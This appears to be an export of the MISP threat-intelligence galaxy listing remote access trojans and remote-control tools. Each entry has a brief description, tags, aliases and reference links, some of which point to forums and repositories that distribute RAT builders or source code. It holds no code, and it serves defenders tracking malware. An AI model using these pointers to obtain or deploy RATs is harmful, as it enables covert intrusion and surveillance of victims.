Bifrost is a discontinued backdoor trojan horse family of more than 10 variants which can infect Windows 95 through Windows 10 (although on modern Windows systems, after Windows XP, its functionality is limited). Bifrost uses the typical server, server builder, and client backdoor program configuration to allow a remote attacker, who uses the client, to execute arbitrary code on the compromised machine (which runs the server whose behavior can be controlled by the server editor).

The tag is: *misp-galaxy:rat="Bifrost"*

Table 3468. Table References

Links
https://www.revolvy.com/main/index.php?s=Bifrost%20(trojan%20horse)&item_type=topic
http://malware-info.blogspot.lu/2008/10/bifrost-trojan.html

Blackshades

Blackshades is the name of a malicious trojan horse used by hackers to control computers remotely. The malware targets computers using Microsoft Windows -based operating systems.[2] According to US officials, over 500,000 computer systems have been infected worldwide with the software.

The tag is: *misp-galaxy:rat="Blackshades"*

Blackshades has relationships with:

- similar: misp-galaxy:tool="Blackshades" with estimative-language:likelihood-

probability="likely"

Table 3469. Table References

Links
https://krebsonsecurity.com/2014/05/blackshades-trojan-users-had-it-coming/

DarkComet

DarkComet is a Remote Administration Tool (RAT) which was developed by Jean-Pierre Lesueur (known as DarkCoderSc), an independent programmer and computer security coder from the United Kingdom. Although the RAT was developed back in 2008, it began to proliferate at the start of 2012.

The tag is: *misp-galaxy:rat="DarkComet"*

DarkComet is also known as:

- Dark Comet

DarkComet has relationships with:

- similar: misp-galaxy:tool="Dark Comet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="DarkComet" with estimative-language:likelihood-probability="likely"

Table 3470. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/
https://blogs.cisco.com/security/talos/darkkomet-rat-spam

Lanfiltrator

Backdoor.Lanfiltrator is a backdoor Trojan that gives an attacker unauthorized access to a compromised computer. The detection is used for a family of Trojans that are produced by the Backdoor.Lanfiltrator generator.

The tag is: *misp-galaxy:rat="Lanfiltrator"*

Table 3471. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2002-121116-0350-99

Win32.HsIdir

Win32.HsIdir is an advanced remote administrator tool systems was done by the original author HS32-Idir, it is the development of the release made since 2006 Copyright © 2006-2010 HS32-Idir.

The tag is: *misp-galaxy:rat="Win32.HsIdir"*

Table 3472. Table References

Links
http://lexmarket.su/thread-27692.html
https://www.nulled.to/topic/129749-win32hsidir-rat/

Optix Pro

Optix Pro is a configurable remote access tool or Trojan, similar to SubSeven or BO2K

The tag is: *misp-galaxy:rat="Optix Pro"*

Table 3473. Table References

Links
https://en.wikipedia.org/wiki/Optix_Pro
https://www.symantec.com/security_response/writeup.jsp?docid=2002-090416-0521-99
https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid=20208

Back Orifice 2000

Back Orifice 2000 (often shortened to BO2k) is a computer program designed for remote system administration. It enables a user to control a computer running the Microsoft Windows operating system from a remote location. The name is a pun on Microsoft BackOffice Server software. Back Orifice 2000 is a new version of the famous Back Orifice backdoor trojan (hacker's remote access tool). It was created by the Cult of Dead Cow hackers group in July 1999. Originally the BO2K was released as a source code and utilities package on a CD-ROM. There are reports that some files on that CD-ROM were infected with CIH virus, so the people who got that CD might get infected and spread not only the compiled backdoor, but also the CIH virus.

The tag is: *misp-galaxy:rat="Back Orifice 2000"*

Back Orifice 2000 is also known as:

- BO2k

Table 3474. Table References

Links
https://en.wikipedia.org/wiki/Back_Orifice_2000
https://home.mcafee.com/VirusInfo/VirusProfile.aspx?key=10229
https://www.symantec.com/security_response/writeup.jsp?docid=2000-121814-5417-99
https://www.f-secure.com/v-descs/bo2k.shtml

RealVNC

The software consists of a server and client application for the Virtual Network Computing (VNC) protocol to control another

The tag is: *misp-galaxy:rat="RealVNC"*

RealVNC is also known as:

- VNC Connect
- VNC Viewer

Table 3475. Table References

Links
https://www.realvnc.com/

Adwind RAT

Backdoor:Java/Adwind is a Java archive (.JAR) file that drops a malicious component onto the machines and runs as a backdoor. When active, it is capable of stealing user information and may also be used to distribute other malware.

The tag is: *misp-galaxy:rat="Adwind RAT"*

Adwind RAT is also known as:

- UNRECOM
- UNiversal REmote COntrol Multi-Platform
- Frutas
- AlienSpy
- Unrecom
- Jsocket
- JBifrost

Adwind RAT has relationships with:

- similar: misp-galaxy:tool="Adwind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Adwind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Sockrat" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="AdWind" with estimative-language:likelihood-probability="likely"

Table 3476. Table References

Links

https://securelist.com/securelist/files/2016/02/KL_AdwindPublicReport_2016.pdf
https://www.f-secure.com/v-descs/backdoor_java_adwind.shtml
https://blog.fortinet.com/2016/08/16/jbifrost-yet-another-incarnation-of-the-adwind-rat
https://www.ncsc.gov.uk/content/files/protected_files/article_files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf

Albertino Advanced RAT

The tag is: *misp-galaxy:rat="Albertino Advanced RAT"*

Table 3477. Table References

Links
https://www.virustotal.com/en/file/b31812e5b4c63c5b52c9b23e76a5ea9439465ab366a9291c6074bfae5c328e73/analysis/1359376345/

Arcom

The malware is a Remote Access Trojan (RAT), known as Arcom RAT, and it is sold on underground forums for $2000.00.

The tag is: *misp-galaxy:rat="Arcom"*

Table 3478. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-112912-5237-99
http://blog.trendmicro.com/trendlabs-security-intelligence/tsunami-warning-leads-to-arcom-rat/

BlackNix

BlackNix rat is a rat coded in delphi.

The tag is: *misp-galaxy:rat="BlackNix"*

Table 3479. Table References

Links
https://leakforums.net/thread-18123?tid=18123&&pq=1

Blue Banana

Blue Banana is a RAT (Remote Administration Tool) created purely in Java

The tag is: *misp-galaxy:rat="Blue Banana"*

Table 3480. Table References

Links
https://leakforums.net/thread-123872
https://techanarchy.net/2014/02/blue-banana-rat-config/

Bozok

Bozok, like many other popular RATs, is freely available. The author of the Bozok RAT goes by the moniker “Slayer616” and has created another RAT known as Schwarze Sonne, or “SS-RAT” for short. Both of these RATs are free and easy to find — various APT actors have used both in previous targeted attacks.

The tag is: *misp-galaxy:rat="Bozok"*

Bozok has relationships with:

- similar: misp-galaxy:malpedia="Bozok" with estimative-language:likelihood-probability="likely"

Table 3481. Table References

Links
https://www.fireeye.com/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html

ClientMesh

ClientMesh is a Remote Administration Application yhich allows a user to control a number of client PCs from around the world.

The tag is: *misp-galaxy:rat="ClientMesh"*

Table 3482. Table References

Links
https://sinister.ly/Thread-ClientMesh-RAT-In-Built-FUD-Crypter-Stable-DDoSer-No-PortForwading-40-Lifetime
https://blog.yakuza112.org/2012/clientmesh-rat-v5-cracked-clean/

CyberGate

CyberGate is a powerful, fully configurable and stable Remote Administration Tool coded in Delphi that is continuously getting developed. Using cybergate you can log the victim’s passwords and can also get the screen shots of his computer’s screen.

The tag is: *misp-galaxy:rat="CyberGate"*

CyberGate has relationships with:

- similar: misp-galaxy:malpedia="CyberGate" with estimative-language:likelihood-

- probability="likely"

Table 3483. Table References

Links
http://www.hackersthirst.com/2011/03/cybergate-rat-hacking-facebook-twitter.html
http://www.nbcnews.com/id/41584097/ns/technology_and_science-security/t/cybergate-leaked-e-mails-hint-corporate-hacking-conspiracy/

Dark DDoSeR

The tag is: *misp-galaxy:rat="Dark DDoSeR"*

Table 3484. Table References

Links
http://meinblogzumtesten.blogspot.lu/2013/05/dark-ddoser-v56c-cracked.html

DarkRat

In March 2017, Fujitsu Cyber Threat Intelligence uncovered a newly developed remote access tool referred to by its developer as ‘Dark RAT’ – a tool used to steal sensitive information from victims. Offered as a Fully Undetectable build (FUD) the RAT has a tiered price model including 24/7 support and an Android version. Android malware has seen a significant rise in interest and in 2015 this resulted in the arrests of a number of suspects involved in the infamous DroidJack malware.

The tag is: *misp-galaxy:rat="DarkRat"*

DarkRat is also known as:

- DarkRAT

Table 3485. Table References

Links
https://www.infosecurity-magazine.com/blogs/the-dark-rat/
http://darkratphp.blogspot.lu/

Greame

The tag is: *misp-galaxy:rat="Greame"*

Table 3486. Table References

Links
https://sites.google.com/site/greymecompany/greame-rat-project

HawkEye

HawkEye is a popular RAT that can be used as a keylogger, it is also able to identify login events and record the destination, username, and password.

The tag is: *misp-galaxy:rat="HawkEye"*

Table 3487. Table References

Links
http://securityaffairs.co/wordpress/54837/hacking/one-stop-shop-hacking.html
https://www.bleepingcomputer.com/news/security/zoho-heavily-used-by-keyloggers-to-transmit-stolen-data/

jRAT

jRAT is the cross-platform remote administrator tool that is coded in Java, Because its coded in Java it gives jRAT possibilities to run on all operation systems, Which includes Windows, Mac OSX and Linux distributions.

The tag is: *misp-galaxy:rat="jRAT"*

jRAT is also known as:

- JacksBot

jRAT has relationships with:

- similar: misp-galaxy:malpedia="jRAT" with estimative-language:likelihood-probability="likely"

Table 3488. Table References

Links
https://www.rekings.com/shop/jrat/

jSpy

jSpy is a Java RAT.

The tag is: *misp-galaxy:rat="jSpy"*

jSpy has relationships with:

- similar: misp-galaxy:malpedia="jSpy" with estimative-language:likelihood-probability="likely"

Table 3489. Table References

Links
https://leakforums.net/thread-479505

LuxNET

Just saying that this is a very badly coded RAT by the biggest skid in this world, that is XilluX. The connection is very unstable, the GUI is always flickering because of the bad Multi-Threading and many more bugs.

The tag is: *misp-galaxy:rat="LuxNET"*

Table 3490. Table References

Links
https://leakforums.net/thread-284656

NJRat

NJRat is a remote access trojan (RAT), first spotted in June 2013 with samples dating back to November 2012. It was developed and is supported by Arabic speakers and mainly used by cybercrime groups against targets in the Middle East. In addition to targeting some governments in the region, the trojan is used to control botnets and conduct other typical cybercrime activity. It infects victims via phishing attacks and drive-by downloads and propagates through infected USB keys or networked drives. It can download and execute additional malware, execute shell commands, read and write registry keys, capture screenshots, log keystrokes, and spy on webcams.

The tag is: *misp-galaxy:rat="NJRat"*

NJRat is also known as:

- Njw0rm

NJRat has relationships with:

- similar: misp-galaxy:rat="Kiler RAT" with estimative-language:likelihood-probability="likely"

Table 3491. Table References

Links
https://www.cyber.nj.gov/threat-profiles/trojan-variants/njrat

Pandora

Remote administrator tool that has been developed for Windows operation system. With advanced features and stable structure, Pandora’s structure is based on advanced client / server architecture. was configured using modern technology.

The tag is: *misp-galaxy:rat="Pandora"*

Table 3492. Table References

Links
https://www.rekings.com/pandora-rat-2-2/

Predator Pain

Unlike Zeus, Predator Pain and Limitless are relatively simple keyloggers. They indiscriminately steal web credentials and mail client credentials, as well as capturing keystrokes and screen captures. The output is human readable, which is good if you are managing a few infected machines only, but the design doesn't scale well when there are a lot of infected machines and logs involved.

The tag is: *misp-galaxy:rat="Predator Pain"*

Predator Pain is also known as:

- PredatorPain

Predator Pain has relationships with:

- similar: misp-galaxy:malpedia="HawkEye Keylogger" with estimative-language:likelihood-probability="likely"

Table 3493. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/predator-pain-and-limitless-behind-the-fraud/
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-predator-pain-and-limitless.pdf

Punisher RAT

Remote administration tool

The tag is: *misp-galaxy:rat="Punisher RAT"*

Table 3494. Table References

Links
http://punisher-rat.blogspot.lu/

SpyGate

This is tool that allow you to control your computer form anywhere in world with full support to unicode language.

The tag is: *misp-galaxy:rat="SpyGate"*

Table 3495. Table References

Links
https://www.rekings.com/spygate-rat-3-2/

https://www.symantec.com/security_response/attacksignatures/detail.jsp%3Fasid%3D27950
http://spygate-rat.blogspot.lu/

Small-Net

RAT

The tag is: *misp-galaxy:rat="Small-Net"*

Small-Net is also known as:

- SmallNet

Table 3496. Table References

Links
http://small-net-rat.blogspot.lu/

Vantom

Vantom is a free RAT with good option and very stable.

The tag is: *misp-galaxy:rat="Vantom"*

Table 3497. Table References

Links
https://www.rekings.com/vantom-rat/

Xena

Xena RAT is a fully-functional, stable, state-of-the-art RAT, coded in a native language called Delphi, it has almost no dependencies.

The tag is: *misp-galaxy:rat="Xena"*

Table 3498. Table References

Links
https://leakforums.net/thread-497480

XtremeRAT

This malware has been used in targeted attacks as well as traditional cybercrime. During our investigation we found that the majority of XtremeRAT activity is associated with spam campaigns that typically distribute Zeus variants and other banking-focused malware.

The tag is: *misp-galaxy:rat="XtremeRAT"*

Table 3499. Table References

Links
https://www.fireeye.com/blog/threat-research/2014/02/xtremerat-nuisance-or-threat.html

Netwire

NetWire has a built-in keylogger that can capture inputs from peripheral devices such as USB card readers.

The tag is: *misp-galaxy:rat="Netwire"*

Table 3500. Table References

Links
https://www.secureworks.com/blog/netwire-rat-steals-payment-card-data

Gh0st RAT

Gh0st RAT is a Trojan horse for the Windows platform that the operators of GhostNet used to hack into some of the most sensitive computer networks on Earth. It is a cyber spying computer program. .

The tag is: *misp-galaxy:rat="Gh0st RAT"*

Gh0st RAT has relationships with:

- similar: misp-galaxy:malpedia="Ghost RAT" with estimative-language:likelihood-probability="likely"

Table 3501. Table References

Links
https://www.volexity.com/blog/2017/03/23/have-you-been-haunted-by-the-gh0st-rat-today/

Plasma RAT

Plasma RAT’s stub is fairly advanced, having many robust features. Some of the features include botkilling, Cryptocurrencies Mining (CPU and GPU), persistence, anti-analysis, torrent seeding, AV killer, 7 DDoS methods and a keylogger. The RAT is coded in VB.Net. There is also a Botnet version of it (Plasma HTTP), which is pretty similar to the RAT version.

The tag is: *misp-galaxy:rat="Plasma RAT"*

Table 3502. Table References

Links
http://www.zunzutech.com/blog/security/analysis-of-plasma-rats-source-code/

Babylon

Babylon is a highly advanced remote administration tool with no dependencies. The server is developed in C++ which is an ideal language for high performance and the client is developed in C#(.Net Framework 4.5)

The tag is: *misp-galaxy:rat="Babylon"*

Table 3503. Table References

Links
https://www.rekings.com/babylon-rat/

Imminent Monitor

RAT

The tag is: *misp-galaxy:rat="Imminent Monitor"*

Table 3504. Table References

Links
http://www.imminentmethods.info/

DroidJack

DroidJack is a RAT (Remote Access Trojan/Remote Administration Tool) nature of remote accessing, monitoring and managing tool (Java based) for Android mobile OS. You can use it to perform a complete remote control to any Android devices infected with DroidJack through your PC. It comes with powerful function and user-friendly operation – even allows attackers to fully take over the mobile phone and steal, record the victim's private data wilfully.

The tag is: *misp-galaxy:rat="DroidJack"*

Table 3505. Table References

Links
http://droidjack.net/

Quasar RAT

Quasar is a fast and light-weight remote administration tool coded in C#. Providing high stability and an easy-to-use user interface

The tag is: *misp-galaxy:rat="Quasar RAT"*

Quasar RAT has relationships with:

- similar: misp-galaxy:malpedia="Quasar RAT" with estimative-language:likelihood-

probability="likely"

Table 3506. Table References

Links
https://github.com/quasar/QuasarRAT
https://researchcenter.paloaltonetworks.com/2017/10/unit42-tracking-subaat-targeted-phishing-attacks-point-leader-threat-actors-repository/
https://www.ncsc.gov.uk/content/files/protected_files/article_files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf

Dendroid

Dendroid is malware that affects Android OS and targets the mobile platform. It was first discovered in early of 2014 by Symantec and appeared in the underground for sale for $300. Some things were noted in Dendroid, such as being able to hide from emulators at the time. When first discovered in 2014 it was one of the most sophisticated Android remote administration tools known at that time. It was one of the first Trojan applications to get past Google's Bouncer and caused researchers to warn about it being easier to create Android malware due to it. It also seems to have follow in the footsteps of Zeus and SpyEye by having simple-to-use command and control panels. The code appeared to be leaked somewhere around 2014. It was noted that an apk binder was included in the leak, which provided a simple way to bind Dendroid to legitimate applications.

The tag is: *misp-galaxy:rat="Dendroid"*

Dendroid has relationships with:

- similar: misp-galaxy:mitre-mobile-attack-malware="Dendroid - MOB-S0017" with estimative-language:likelihood-probability="likely"

Table 3507. Table References

Links
https://github.com/qqshow/dendroid
https://github.com/nyx0/Dendroid

Ratty

A Java R.A.T. program

The tag is: *misp-galaxy:rat="Ratty"*

Ratty has relationships with:

- similar: misp-galaxy:malpedia="Ratty" with estimative-language:likelihood-probability="likely"

Table 3508. Table References

Links

https://github.com/shotskeber/Ratty

RaTRon

Java RAT

The tag is: *misp-galaxy:rat="RaTRon"*

Table 3509. Table References

Links
http://level23hacktools.com/forum/showthread.php?t=27971
https://leakforums.net/thread-405562?tid=405562&&pq=1

Arabian-Attacker RAT

The tag is: *misp-galaxy:rat="Arabian-Attacker RAT"*

Table 3510. Table References

Links
http://arabian-attacker.software.informer.com/

Androrat

Androrat is a client/server application developed in Java Android for the client side and in Java/Swing for the Server.

The tag is: *misp-galaxy:rat="Androrat"*

Table 3511. Table References

Links
https://latesthackingnews.com/2015/05/31/how-to-hack-android-phones-with-androrat/
https://github.com/wszf/androrat

Adzok

Remote Administrator

The tag is: *misp-galaxy:rat="Adzok"*

Table 3512. Table References

Links
http://adzok.com/

Schwarze-Sonne-RAT

The tag is: *misp-galaxy:rat="Schwarze-Sonne-RAT"*

Schwarze-Sonne-RAT is also known as:

- SS-RAT
- Schwarze Sonne

Table 3513. Table References

Links
https://github.com/mwsrc/Schwarze-Sonne-RAT

Cyber Eye RAT

The tag is: *misp-galaxy:rat="Cyber Eye RAT"*

Table 3514. Table References

Links
https://www.indetectables.net/viewtopic.php?t=24245

Batch NET

The tag is: *misp-galaxy:rat="Batch NET"*

RWX RAT

The tag is: *misp-galaxy:rat="RWX RAT"*

Table 3515. Table References

Links
https://leakforums.net/thread-530663

Spynet

Spy-Net is a software that allow you to control any computer in world using Windows Operating System.He is back using new functions and good options to give you full control of your remote computer.Stable and fast, this software offer to you a good interface, creating a easy way to use all his functions

The tag is: *misp-galaxy:rat="Spynet"*

Table 3516. Table References

Links

http://spynet-rat-officiel.blogspot.lu/

CTOS

The tag is: *misp-galaxy:rat="CTOS"*

Table 3517. Table References

Links
https://leakforums.net/thread-559871

Virus RAT

The tag is: *misp-galaxy:rat="Virus RAT"*

Table 3518. Table References

Links
https://github.com/mwsrc/Virus-RAT-v8.0-Beta

Atelier Web Remote Commander

The tag is: *misp-galaxy:rat="Atelier Web Remote Commander"*

Table 3519. Table References

Links
http://www.atelierweb.com/products/

drat

A distributed, parallelized (Map Reduce) wrapper around Apache™ RAT to allow it to complete on large code repositories of multiple file types where Apache™ RAT hangs forev

The tag is: *misp-galaxy:rat="drat"*

Table 3520. Table References

Links
https://github.com/chrismattmann/drat

MoSucker

MoSucker is a powerful backdoor - hacker’s remote access tool.

The tag is: *misp-galaxy:rat="MoSucker"*

Table 3521. Table References

Links
https://www.f-secure.com/v-descs/mosuck.shtml

Theef

The tag is: *misp-galaxy:rat="Theef"*

Table 3522. Table References

Links
http://www.grayhatforum.org/thread-4373-post-5213.html#pid5213
http://www.spy-emergency.com/research/T/Theef_Download_Creator.html
http://www.spy-emergency.com/research/T/Theef.html

ProRat

ProRat is a Microsoft Windows based backdoor trojan, more commonly known as a Remote Administration Tool. As with other trojan horses it uses a client and server. ProRat opens a port on the computer which allows the client to perform numerous operations on the server (the machine being controlled).

The tag is: *misp-galaxy:rat="ProRat"*

Table 3523. Table References

Links
http://prorat.software.informer.com/
http://malware.wikia.com/wiki/ProRat

Setro

The tag is: *misp-galaxy:rat="Setro"*

Table 3524. Table References

Links
https://sites.google.com/site/greymecompany/setro-rat-project

Indetectables RAT

The tag is: *misp-galaxy:rat="Indetectables RAT"*

Table 3525. Table References

Links
http://www.connect-trojan.net/2015/03/indetectables-rat-v.0.5-beta.html

Luminosity Link

The tag is: *misp-galaxy:rat="Luminosity Link"*

Table 3526. Table References

Links
https://luminosity.link/

Orcus

The tag is: *misp-galaxy:rat="Orcus"*

Table 3527. Table References

Links
https://orcustechnologies.com/

Blizzard

The tag is: *misp-galaxy:rat="Blizzard"*

Table 3528. Table References

Links
http://www.connect-trojan.net/2014/10/blizzard-rat-lite-v1.3.1.html

Kazybot

The tag is: *misp-galaxy:rat="Kazybot"*

Table 3529. Table References

Links
https://www.rekings.com/kazybot-lite-php-rat/
http://telussecuritylabs.com/threats/show/TSL20150122-06

BX

The tag is: *misp-galaxy:rat="BX"*

Table 3530. Table References

Links
http://www.connect-trojan.net/2015/01/bx-rat-v1.0.html

death

The tag is: *misp-galaxy:rat="death"*

Sky Wyder

The tag is: *misp-galaxy:rat="Sky Wyder"*

Table 3531. Table References

Links
https://rubear.me/threads/sky-wyder-2016-cracked.127/

DarkTrack

The tag is: *misp-galaxy:rat="DarkTrack"*

Table 3532. Table References

Links
https://www.rekings.com/darktrack-4-alien/
http://news.softpedia.com/news/free-darktrack-rat-has-the-potential-of-being-the-best-rat-on-the-market-508179.shtml

xRAT

Free, Open-Source Remote Administration Tool. xRAT 2.0 is a fast and light-weight Remote Administration Tool coded in C# (using .NET Framework 2.0).

The tag is: *misp-galaxy:rat="xRAT"*

Table 3533. Table References

Links
https://github.com/c4bbage/xRAT

Biodox

The tag is: *misp-galaxy:rat="Biodox"*

Table 3534. Table References

Links
http://sakhackingarticles.blogspot.lu/2014/08/biodox-rat.html

Offence

Offense RAT is a free renote administration tool made in Delphi 9.

The tag is: *misp-galaxy:rat="Offence"*

Table 3535. Table References

Links
https://leakforums.net/thread-31386?tid=31386&&pq=1

Apocalypse

The tag is: *misp-galaxy:rat="Apocalypse"*

Apocalypse has relationships with:

- similar: misp-galaxy:ransomware="Apocalypse" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Apocalypse" with estimative-language:likelihood-probability="likely"

Table 3536. Table References

Links
https://leakforums.net/thread-36962

JCage

The tag is: *misp-galaxy:rat="JCage"*

Table 3537. Table References

Links
https://leakforums.net/thread-363920

Nuclear RAT

Nuclear RAT (short for Nuclear Remote Administration Tool) is a backdoor trojan horse that infects Windows NT family systems (Windows 2000, XP, 2003).

The tag is: *misp-galaxy:rat="Nuclear RAT"*

Table 3538. Table References

Links
http://malware.wikia.com/wiki/Nuclear_RAT
http://www.nuclearwintercrew.com/Products-View/21/Nuclear_RAT_2.1.0/

Ozone

C++ REMOTE CONTROL PROGRAM

The tag is: *misp-galaxy:rat="Ozone"*

Table 3539. Table References

Links
http://ozonercp.com/

Xanity

The tag is: *misp-galaxy:rat="Xanity"*

Table 3540. Table References

Links
https://github.com/alienwithin/xanity-php-rat

DarkMoon

The tag is: *misp-galaxy:rat="DarkMoon"*

DarkMoon is also known as:

- Dark Moon

Xpert

The tag is: *misp-galaxy:rat="Xpert"*

Table 3541. Table References

Links
http://broad-product.biz/forum/r-a-t-(remote-administration-tools)/xpert-rat-3-0-10-by-abronsius(vb6)/
https://www.nulled.to/topic/18355-xpert-rat-309/
https://trickytamilan.blogspot.lu/2016/03/xpert-rat.html

Kiler RAT

This remote access trojan (RAT) has capabilities ranging from manipulating the registry to opening a reverse shell. From stealing credentials stored in browsers to accessing the victims webcam. Through the Command & Control (CnC) server software, the attacker has capabilities to create and configure the malware to spread utilizing physic devices, such as USB drives, but also to use the victim as a pivot point to gain more access laterally throughout the network. This remote access trojan could be classified as a variant of the well known njrat, as they share many similar features such as their display style, several abilities and a general template for communication methods . However, where njrat left off KilerRat has taken over. KilerRat is a very feature rich RAT with an active development force that is rapidly gaining in popularity amongst the middle eastern community and the world.

The tag is: *misp-galaxy:rat="Kiler RAT"*

Kiler RAT is also known as:

- Njw0rm

Kiler RAT has relationships with:

- similar: misp-galaxy:rat="NJRat" with estimative-language:likelihood-probability="likely"

Table 3542. Table References

Links
https://www.alienvault.com/blogs/labs-research/kilerrat-taking-over-where-njrat-remote-access-trojan-left-off

Brat

The tag is: *misp-galaxy:rat="Brat"*

MINI-MO

The tag is: *misp-galaxy:rat="MINI-MO"*

Lost Door

Unlike most attack tools that one can only find in cybercriminal underground markets, Lost Door is very easy to obtain. It’s promoted on social media sites like YouTube and Facebook. Its maker, “OussamiO,” even has his own Facebook page where details on his creation can be found. He also has a dedicated blog (hxxp://lost-door[.]blogspot[.]com/) where tutorial videos and instructions on using the RAT is found. Any cybercriminal or threat actor can purchase and use the RAT to launch attacks.

The tag is: *misp-galaxy:rat="Lost Door"*

Lost Door is also known as:

- LostDoor

Table 3543. Table References

Links
http://lost-door.blogspot.lu/
http://blog.trendmicro.com/trendlabs-security-intelligence/lost-door-rat-accessible-customizable-attack-tool/
https://www.cyber.nj.gov/threat-profiles/trojan-variants/lost-door-rat

Loki RAT

Loki RAT is a php RAT that means no port forwarding is needed for this RAT, If you dont know how to setup this RAT click on tutorial.

The tag is: *misp-galaxy:rat="Loki RAT"*

Table 3544. Table References

Links
https://www.rekings.com/loki-rat-php-rat/

MLRat

The tag is: *misp-galaxy:rat="MLRat"*

Table 3545. Table References

Links
https://github.com/BahNahNah/MLRat

SpyCronic

The tag is: *misp-galaxy:rat="SpyCronic"*

Table 3546. Table References

Links
http://perfect-conexao.blogspot.lu/2014/09/spycronic-1021.html
http://www.connect-trojan.net/2013/09/spycronic-v1.02.1.html
https://ranger-exploit.com/spycronic-v1-02-1/

Pupy

Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python

The tag is: *misp-galaxy:rat="Pupy"*

Pupy has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-tool="Pupy - S0192" with estimative-language:likelihood-probability="likely"

Table 3547. Table References

Links
https://github.com/n1nj4sec/pupy

Nova

Nova is a proof of concept demonstrating screen sharing over UDP hole punching.

The tag is: *misp-galaxy:rat="Nova"*

Table 3548. Table References

Links
http://novarat.sourceforge.net/

BD Y3K RAT

The tag is: *misp-galaxy:rat="BD Y3K RAT"*

BD Y3K RAT is also known as:

- Back Door Y3K RAT
- Y3k

Table 3549. Table References

Links
https://tools.cisco.com/security/center/viewIpsSignature.x?signatureId=9401&signatureSubId=2
https://tools.cisco.com/security/center/viewIpsSignature.x?signatureId=9401&signatureSubId=0&softwareVersion=6.0&releaseVersion=S177
https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid=20292
https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid=20264

Turkojan

Turkojan is a remote administration and spying tool for Microsoft Windows operating systems.

The tag is: *misp-galaxy:rat="Turkojan"*

Table 3550. Table References

Links
http://turkojan.blogspot.lu/

TINY

TINY is a set of programs that lets you control a DOS computer from any Java-capable machine over a TCP/IP connection. It is comparable to programs like VNC, CarbonCopy, and GotoMyPC except that the host machine is a DOS computer rather than a Windows one.

The tag is: *misp-galaxy:rat="TINY"*

Table 3551. Table References

Links
http://josh.com/tiny/

SharK

sharK is an advanced reverse connecting, firewall bypassing remote administration tool written in VB6. With sharK you will be able to administrate every PC (using Windows OS) remotely.

The tag is: *misp-galaxy:rat="SharK"*

SharK is also known as:

- SHARK
- Shark

SharK has relationships with:

- similar: misp-galaxy:ransomware="Shark" with estimative-language:likelihood-probability="likely"

Table 3552. Table References

Links
https://www.security-database.com/toolswatch/SharK-3-Remote-Administration-Tool.html
http://lpc1.clpccd.cc.ca.us/lpc/mdaoud/CNT7501/NETLABS/Ethical_Hacking_Lab_05.pdf

Snowdoor

Backdoor.Snowdoor is a Backdoor Trojan Horse that allows unauthorized access to an infected computer. It creates an open C drive share with its default settings. By default, the Trojan listens on port 5,328.

The tag is: *misp-galaxy:rat="Snowdoor"*

Snowdoor is also known as:

- Backdoor.Blizzard
- Backdoor.Fxdoor
- Backdoor.Snowdoor
- Backdoor:Win32/Snowdoor

Table 3553. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2003-022018-5040-99

Paradox

The tag is: *misp-galaxy:rat="Paradox"*

Table 3554. Table References

Links
https://www.nulled.to/topic/155464-paradox-rat/

SpyNote

Android RAT

The tag is: *misp-galaxy:rat="SpyNote"*

SpyNote has relationships with:

- similar: misp-galaxy:malpedia="SpyNote" with estimative-language:likelihood-probability="likely"

Table 3555. Table References

Links
https://www.rekings.com/spynote-v4-android-rat/

ZOMBIE SLAYER

The tag is: *misp-galaxy:rat="ZOMBIE SLAYER"*

HTTP WEB BACKDOOR

The tag is: *misp-galaxy:rat="HTTP WEB BACKDOOR"*

NET-MONITOR PRO

Net Monitor for Employees lets you see what everyone’s doing - without leaving your desk. Monitor the activity of all employees. Plus you can share your screen with your employees PCs, making demos and presentations much easier.

The tag is: *misp-galaxy:rat="NET-MONITOR PRO"*

Table 3556. Table References

Links
https://networklookout.com/help/

DameWare Mini Remote Control

Affordable remote control software for all your customer support and help desk needs.

The tag is: *misp-galaxy:rat="DameWare Mini Remote Control"*

DameWare Mini Remote Control is also known as:

- dameware

Table 3557. Table References

Links
http://www.dameware.com/dameware-mini-remote-control

Remote Utilities

Remote Utilities is a free remote access program with some really great features. It works by pairing two remote computers together with what they call an "Internet ID." You can control a total of 10 PCs with Remote Utilities.

The tag is: *misp-galaxy:rat="Remote Utilities"*

Table 3558. Table References

Links
https://www.remoteutilities.com/

Ammyy Admin

Ammyy Admin is a completely portable remote access program that’s extremely simple to setup. It works by connecting one computer to another via an ID supplied by the program.

The tag is: *misp-galaxy:rat="Ammyy Admin"*

Ammyy Admin is also known as:

- Ammyy

Table 3559. Table References

Links
http://ammyy-admin.soft32.com/

Ultra VNC

UltraVNC works a bit like Remote Utilities, where a server and viewer is installed on two PCs, and the viewer is used to control the server.

The tag is: *misp-galaxy:rat="Ultra VNC"*

Table 3560. Table References

Links
http://www.uvnc.com/

AeroAdmin

AeroAdmin is probably the easiest program to use for free remote access. There are hardly any settings, and everything is quick and to the point, which is perfect for spontaneous support.

The tag is: *misp-galaxy:rat="AeroAdmin"*

Table 3561. Table References

Links
http://www.aeroadmin.com/en/

Windows Remote Desktop

Windows Remote Desktop is the remote access software built into the Windows operating system. No additional download is necessary to use the program.

The tag is: *misp-galaxy:rat="Windows Remote Desktop"*

RemotePC

RemotePC, for good or bad, is a more simple free remote desktop program. You're only allowed one connection (unless you upgrade) but for many of you, that'll be just fine.

The tag is: *misp-galaxy:rat="RemotePC"*

Table 3562. Table References

Links
https://www.remotepc.com/

Seecreen

